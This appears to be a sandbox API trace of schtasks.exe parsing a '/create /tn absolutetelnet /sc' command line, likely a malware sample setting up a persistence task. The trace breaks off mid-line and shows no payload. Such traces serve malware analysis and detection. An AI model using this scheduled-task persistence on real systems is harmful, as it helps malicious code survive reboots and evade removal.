0x138960d [0145.793] RtlQueryPerformanceCounter (in: lpPerformanceCount=0xff948 | out: lpPerformanceCount=0xff948*=2062465684256) returned 1 [0145.794] GetModuleHandleW (lpModuleName=0x0) returned 0xfff90000 [0145.794] __set_app_type (_Type=0x1) [0145.794] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xfffb972c) returned 0x0 [0145.794] __wgetmainargs (in: _Argc=0xfffd1240, _Argv=0xfffd1250, _Env=0xfffd1248, _DoWildCard=0, _StartInfo=0xfffd125c | out: _Argc=0xfffd1240, _Argv=0xfffd1250, _Env=0xfffd1248) returned 0 [0145.795] _onexit (_Func=0xfffc2ab0) returned 0xfffc2ab0 [0145.795] _onexit (_Func=0xfffc2ac4) returned 0xfffc2ac4 [0145.795] _onexit (_Func=0xfffc2afc) returned 0xfffc2afc [0145.795] _onexit (_Func=0xfffc2b58) returned 0xfffc2b58 [0145.795] _onexit (_Func=0xfffc2b80) returned 0xfffc2b80 [0145.795] _onexit (_Func=0xfffc2ba8) returned 0xfffc2ba8 [0145.795] _onexit (_Func=0xfffc2bd0) returned 0xfffc2bd0 [0145.796] _onexit (_Func=0xfffc2bf8) returned 0xfffc2bf8 [0145.796] _onexit (_Func=0xfffc2c20) returned 0xfffc2c20 [0145.796] _onexit (_Func=0xfffc2c48) returned 0xfffc2c48 [0145.796] _onexit (_Func=0xfffc2c70) returned 0xfffc2c70 [0145.796] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0145.796] WinSqmIsOptedIn () returned 0x0 [0145.797] GetProcessHeap () returned 0x2a0000 [0145.797] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x18) returned 0x2b5490 [0145.797] SetLastError (dwErrCode=0x0) [0145.797] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0145.797] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0145.797] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0145.797] VerifyVersionInfoW (in: lpVersionInformation=0xff100, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0xff100) returned 1 [0145.797] GetProcessHeap () returned 0x2a0000 [0145.797] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x18) returned 0x2bba20 [0145.797] lstrlenW (lpString="") returned 0 [0145.797] GetProcessHeap () returned 0x2a0000 [0145.797] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x2) returned 0x2bba40 [0145.797] GetProcessHeap () returned 0x2a0000 [0145.797] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x20) returned 0x2b5990 [0145.797] GetProcessHeap () returned 0x2a0000 [0145.797] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x18) returned 0x2bba60 [0145.798] GetProcessHeap () returned 0x2a0000 [0145.798] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x20) returned 0x2b59c0 [0145.798] GetProcessHeap () returned 0x2a0000 [0145.798] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x20) returned 0x2b59f0 [0145.798] GetProcessHeap () returned 0x2a0000 [0145.798] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x20) returned 0x2b5a20 [0145.798] GetProcessHeap () returned 0x2a0000 [0145.798] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x20) returned 0x2b5a50 [0145.798] GetProcessHeap () returned 0x2a0000 [0145.798] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x18) returned 0x2bba80 [0145.798] GetProcessHeap () returned 0x2a0000 [0145.798] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x20) returned 0x2b5a80 [0145.798] GetProcessHeap () returned 0x2a0000 [0145.798] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x20) returned 0x2b5ab0 [0145.798] GetProcessHeap () returned 0x2a0000 [0145.798] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x20) returned 0x2b5ae0 [0145.798] GetProcessHeap () returned 0x2a0000 [0145.798] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x20) returned 0x2b5b10 [0145.798] GetProcessHeap () returned 0x2a0000 [0145.798] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x18) returned 0x2bbaa0 [0145.798] GetProcessHeap () returned 0x2a0000 [0145.798] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x20) returned 0x2b5b40 [0145.798] GetProcessHeap () returned 0x2a0000 [0145.798] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x20) returned 0x2b5b70 [0145.798] GetProcessHeap () returned 0x2a0000 [0145.798] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x20) returned 0x2b5ba0 [0145.798] GetProcessHeap () returned 0x2a0000 [0145.798] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x20) returned 0x2b5bd0 [0145.799] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0145.799] SetLastError (dwErrCode=0x0) [0145.799] GetProcessHeap () returned 0x2a0000 [0145.799] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x20) returned 0x2b5c00 [0145.799] GetProcessHeap () returned 0x2a0000 [0145.799] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x20) returned 0x2b5c30 [0145.799] GetProcessHeap () returned 0x2a0000 [0145.799] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x20) returned 0x2b5c60 [0145.799] GetProcessHeap () returned 0x2a0000 [0145.799] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x20) returned 0x2b5c90 [0145.799] GetProcessHeap () returned 0x2a0000 [0145.799] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x20) returned 0x2b5cc0 [0145.799] GetProcessHeap () returned 0x2a0000 [0145.799] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x18) returned 0x2bbac0 [0145.799] _memicmp (_Buf1=0x2bbac0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.799] GetProcessHeap () returned 0x2a0000 [0145.800] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x208) returned 0x2bbc60 [0145.800] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2bbc60, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0145.800] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefbe30000 [0145.802] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefbe315fc [0145.802] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0145.803] GetProcessHeap () returned 0x2a0000 [0145.803] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x74e) returned 0x2bc210 [0145.803] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoW") returned 0x7fefbe31614 [0145.803] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x2bc210 | out: lpData=0x2bc210) returned 1 [0145.804] GetProcAddress (hModule=0x7fefbe30000, lpProcName="VerQueryValueW") returned 0x7fefbe315e0 [0145.804] VerQueryValueW (in: pBlock=0x2bc210, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xff1e8, puLen=0xff250 | out: lplpBuffer=0xff1e8*=0x2bc5ac, puLen=0xff250) returned 1 [0145.807] _memicmp (_Buf1=0x2bbac0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.807] _vsnwprintf (in: _Buffer=0x2bbc60, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xff1c8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0145.807] VerQueryValueW (in: pBlock=0x2bc210, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xff258, puLen=0xff248 | out: lplpBuffer=0xff258*=0x2bc3d8, puLen=0xff248) returned 1 [0145.807] lstrlenW (lpString="schtasks.exe") returned 12 [0145.807] lstrlenW (lpString="schtasks.exe") returned 12 [0145.808] lstrlenW (lpString=".EXE") returned 4 [0145.808] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0145.808] lstrlenW (lpString="schtasks.exe") returned 12 [0145.808] lstrlenW (lpString=".EXE") returned 4 [0145.808] _memicmp (_Buf1=0x2bbac0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.809] lstrlenW (lpString="schtasks") returned 8 [0145.809] GetProcessHeap () returned 0x2a0000 [0145.809] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x20) returned 0x2b5db0 [0145.809] GetProcessHeap () returned 0x2a0000 [0145.809] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x20) returned 0x2bcb20 [0145.809] GetProcessHeap () returned 0x2a0000 [0145.809] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x20) returned 0x2bcb50 [0145.809] GetProcessHeap () returned 0x2a0000 [0145.809] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x20) returned 0x2bcb80 [0145.809] GetProcessHeap () returned 0x2a0000 [0145.809] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x18) returned 0x2bbae0 [0145.809] _memicmp (_Buf1=0x2bbae0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.809] GetProcessHeap () returned 0x2a0000 [0145.809] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0xa0) returned 0x2bc060 [0145.809] GetProcessHeap () returned 0x2a0000 [0145.809] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x20) returned 0x2bcbb0 [0145.809] GetProcessHeap () returned 0x2a0000 [0145.809] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x20) returned 0x2bcbe0 [0145.809] GetProcessHeap () returned 0x2a0000 [0145.809] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x20) returned 0x2bcc10 [0145.809] GetProcessHeap () returned 0x2a0000 [0145.809] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x18) returned 0x2bbb00 [0145.810] _memicmp (_Buf1=0x2bbb00, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.810] GetProcessHeap () returned 0x2a0000 [0145.810] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x200) returned 0x2bd2f0 [0145.810] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x2bd2f0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0145.810] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0145.810] GetProcessHeap () returned 0x2a0000 [0145.810] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x30) returned 0x2b7ab0 [0145.810] _vsnwprintf (in: _Buffer=0x2bc060, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xff1c8 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0145.810] GetProcessHeap () returned 0x2a0000 [0145.810] GetProcessHeap () returned 0x2a0000 [0145.810] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bc210) returned 1 [0145.810] GetProcessHeap () returned 0x2a0000 [0145.810] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2bc210) returned 0x74e [0145.811] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bc210 | out: hHeap=0x2a0000) returned 1 [0145.811] SetLastError (dwErrCode=0x0) [0145.811] GetThreadLocale () returned 0x409 [0145.811] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0145.811] lstrlenW (lpString="?") returned 1 [0145.811] GetThreadLocale () returned 0x409 [0145.811] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0145.811] lstrlenW (lpString="create") returned 6 [0145.811] GetThreadLocale () returned 0x409 [0145.811] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0145.811] lstrlenW (lpString="delete") returned 6 [0145.811] GetThreadLocale () returned 0x409 [0145.811] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0145.811] lstrlenW (lpString="query") returned 5 [0145.811] GetThreadLocale () returned 0x409 [0145.811] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0145.811] lstrlenW (lpString="change") returned 6 [0145.812] GetThreadLocale () returned 0x409 [0145.812] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0145.812] lstrlenW (lpString="run") returned 3 [0145.812] GetThreadLocale () returned 0x409 [0145.812] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0145.812] lstrlenW (lpString="end") returned 3 [0145.812] GetThreadLocale () returned 0x409 [0145.812] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0145.812] lstrlenW (lpString="showsid") returned 7 [0145.812] GetThreadLocale () returned 0x409 [0145.812] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0145.812] SetLastError (dwErrCode=0x0) [0145.812] SetLastError (dwErrCode=0x0) [0145.812] lstrlenW (lpString="/create") returned 7 [0145.812] lstrlenW (lpString="-/") returned 2 [0145.812] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0145.812] lstrlenW (lpString="?") returned 1 [0145.812] lstrlenW (lpString="?") returned 1 [0145.812] GetProcessHeap () returned 0x2a0000 [0145.812] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x18) returned 0x2bc210 [0145.812] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.812] GetProcessHeap () returned 0x2a0000 [0145.812] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0xa) returned 0x2bc230 [0145.812] lstrlenW (lpString="create") returned 6 [0145.812] GetProcessHeap () returned 0x2a0000 [0145.813] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x18) returned 0x2bc250 [0145.813] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.813] GetProcessHeap () returned 0x2a0000 [0145.813] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x14) returned 0x2bc270 [0145.813] _vsnwprintf (in: _Buffer=0x2bc230, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|?|") returned 3 [0145.813] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|create|") returned 8 [0145.813] lstrlenW (lpString="|?|") returned 3 [0145.813] lstrlenW (lpString="|create|") returned 8 [0145.813] SetLastError (dwErrCode=0x490) [0145.813] lstrlenW (lpString="create") returned 6 [0145.813] lstrlenW (lpString="create") returned 6 [0145.813] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.813] GetProcessHeap () returned 0x2a0000 [0145.813] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bc230) returned 1 [0145.813] GetProcessHeap () returned 0x2a0000 [0145.813] RtlReAllocateHeap (Heap=0x2a0000, Flags=0xc, Ptr=0x2bc230, Size=0x14) returned 0x2bc290 [0145.813] lstrlenW (lpString="create") returned 6 [0145.813] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.813] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|create|") returned 8 [0145.813] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|create|") returned 8 [0145.813] lstrlenW (lpString="|create|") returned 8 [0145.813] lstrlenW (lpString="|create|") returned 8 [0145.813] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0145.813] SetLastError (dwErrCode=0x0) [0145.813] SetLastError (dwErrCode=0x0) [0145.813] SetLastError (dwErrCode=0x0) [0145.814] lstrlenW (lpString="/tn") returned 3 [0145.814] lstrlenW (lpString="-/") returned 2 [0145.814] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0145.814] lstrlenW (lpString="?") returned 1 [0145.814] lstrlenW (lpString="?") returned 1 [0145.814] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.814] lstrlenW (lpString="tn") returned 2 [0145.814] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.814] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|?|") returned 3 [0145.814] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|tn|") returned 4 [0145.814] lstrlenW (lpString="|?|") returned 3 [0145.814] lstrlenW (lpString="|tn|") returned 4 [0145.814] SetLastError (dwErrCode=0x490) [0145.814] lstrlenW (lpString="create") returned 6 [0145.814] lstrlenW (lpString="create") returned 6 [0145.814] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.814] lstrlenW (lpString="tn") returned 2 [0145.814] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.814] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|create|") returned 8 [0145.814] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|tn|") returned 4 [0145.814] lstrlenW (lpString="|create|") returned 8 [0145.814] lstrlenW (lpString="|tn|") returned 4 [0145.814] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0145.814] SetLastError (dwErrCode=0x490) [0145.814] lstrlenW (lpString="delete") returned 6 [0145.814] lstrlenW (lpString="delete") returned 6 [0145.815] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.815] lstrlenW (lpString="tn") returned 2 [0145.815] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.815] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|delete|") returned 8 [0145.815] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|tn|") returned 4 [0145.815] lstrlenW (lpString="|delete|") returned 8 [0145.815] lstrlenW (lpString="|tn|") returned 4 [0145.815] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0145.815] SetLastError (dwErrCode=0x490) [0145.815] lstrlenW (lpString="query") returned 5 [0145.815] lstrlenW (lpString="query") returned 5 [0145.815] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.815] lstrlenW (lpString="tn") returned 2 [0145.815] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.815] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x8, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|query|") returned 7 [0145.815] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|tn|") returned 4 [0145.815] lstrlenW (lpString="|query|") returned 7 [0145.815] lstrlenW (lpString="|tn|") returned 4 [0145.815] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0145.815] SetLastError (dwErrCode=0x490) [0145.815] lstrlenW (lpString="change") returned 6 [0145.815] lstrlenW (lpString="change") returned 6 [0145.815] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.816] lstrlenW (lpString="tn") returned 2 [0145.816] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.816] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|change|") returned 8 [0145.816] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|tn|") returned 4 [0145.816] lstrlenW (lpString="|change|") returned 8 [0145.816] lstrlenW (lpString="|tn|") returned 4 [0145.816] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0145.816] SetLastError (dwErrCode=0x490) [0145.816] lstrlenW (lpString="run") returned 3 [0145.816] lstrlenW (lpString="run") returned 3 [0145.816] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.816] lstrlenW (lpString="tn") returned 2 [0145.816] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.816] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|run|") returned 5 [0145.816] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|tn|") returned 4 [0145.816] lstrlenW (lpString="|run|") returned 5 [0145.816] lstrlenW (lpString="|tn|") returned 4 [0145.816] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0145.816] SetLastError (dwErrCode=0x490) [0145.816] lstrlenW (lpString="end") returned 3 [0145.816] lstrlenW (lpString="end") returned 3 [0145.816] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.816] lstrlenW (lpString="tn") returned 2 [0145.816] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.816] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|end|") returned 5 [0145.817] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|tn|") returned 4 [0145.817] lstrlenW (lpString="|end|") returned 5 [0145.817] lstrlenW (lpString="|tn|") returned 4 [0145.817] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0145.817] SetLastError (dwErrCode=0x490) [0145.817] lstrlenW (lpString="showsid") returned 7 [0145.817] lstrlenW (lpString="showsid") returned 7 [0145.817] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.817] GetProcessHeap () returned 0x2a0000 [0145.817] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bc290) returned 1 [0145.817] GetProcessHeap () returned 0x2a0000 [0145.817] RtlReAllocateHeap (Heap=0x2a0000, Flags=0xc, Ptr=0x2bc290, Size=0x16) returned 0x2bc290 [0145.817] lstrlenW (lpString="tn") returned 2 [0145.817] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.817] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0xa, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|showsid|") returned 9 [0145.817] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|tn|") returned 4 [0145.817] lstrlenW (lpString="|showsid|") returned 9 [0145.817] lstrlenW (lpString="|tn|") returned 4 [0145.817] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0145.817] SetLastError (dwErrCode=0x490) [0145.817] SetLastError (dwErrCode=0x490) [0145.817] SetLastError (dwErrCode=0x0) [0145.818] lstrlenW (lpString="/tn") returned 3 [0145.818] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0145.818] SetLastError (dwErrCode=0x490) [0145.818] SetLastError (dwErrCode=0x0) [0145.818] lstrlenW (lpString="/tn") returned 3 [0145.818] GetProcessHeap () returned 0x2a0000 [0145.818] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x8) returned 0x2bc230 [0145.818] GetProcessHeap () returned 0x2a0000 [0145.818] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x20) returned 0x2bcc40 [0145.818] SetLastError (dwErrCode=0x0) [0145.818] SetLastError (dwErrCode=0x0) [0145.818] lstrlenW (lpString="absolutetelnet") returned 14 [0145.818] lstrlenW (lpString="-/") returned 2 [0145.818] StrChrIW (lpStart="-/", wMatch=0x61) returned 0x0 [0145.818] SetLastError (dwErrCode=0x490) [0145.818] SetLastError (dwErrCode=0x490) [0145.818] SetLastError (dwErrCode=0x0) [0145.818] lstrlenW (lpString="absolutetelnet") returned 14 [0145.818] StrChrIW (lpStart="absolutetelnet", wMatch=0x3a) returned 0x0 [0145.818] SetLastError (dwErrCode=0x490) [0145.818] SetLastError (dwErrCode=0x0) [0145.818] lstrlenW (lpString="absolutetelnet") returned 14 [0145.818] GetProcessHeap () returned 0x2a0000 [0145.818] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x1e) returned 0x2bcc70 [0145.818] GetProcessHeap () returned 0x2a0000 [0145.818] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x20) returned 0x2bcca0 [0145.818] SetLastError (dwErrCode=0x0) [0145.818] SetLastError (dwErrCode=0x0) [0145.818] lstrlenW (lpString="/sc") returned 3 [0145.819] lstrlenW (lpString="-/") returned 2 [0145.819] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0145.819] lstrlenW (lpString="?") returned 1 [0145.819] lstrlenW (lpString="?") returned 1 [0145.819] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.819] lstrlenW (lpString="sc") returned 2 [0145.819] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.819] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|?|") returned 3 [0145.819] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|sc|") returned 4 [0145.819] lstrlenW (lpString="|?|") returned 3 [0145.819] lstrlenW (lpString="|sc|") returned 4 [0145.819] SetLastError (dwErrCode=0x490) [0145.819] lstrlenW (lpString="create") returned 6 [0145.819] lstrlenW (lpString="create") returned 6 [0145.819] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.819] lstrlenW (lpString="sc") returned 2 [0145.819] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.819] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|create|") returned 8 [0145.819] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|sc|") returned 4 [0145.819] lstrlenW (lpString="|create|") returned 8 [0145.819] lstrlenW (lpString="|sc|") returned 4 [0145.819] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0145.819] SetLastError (dwErrCode=0x490) [0145.819] lstrlenW (lpString="delete") returned 6 [0145.819] lstrlenW (lpString="delete") returned 6 [0145.819] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.820] lstrlenW (lpString="sc") returned 2 [0145.820] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.820] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|delete|") returned 8 [0145.820] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff1d8 | out: 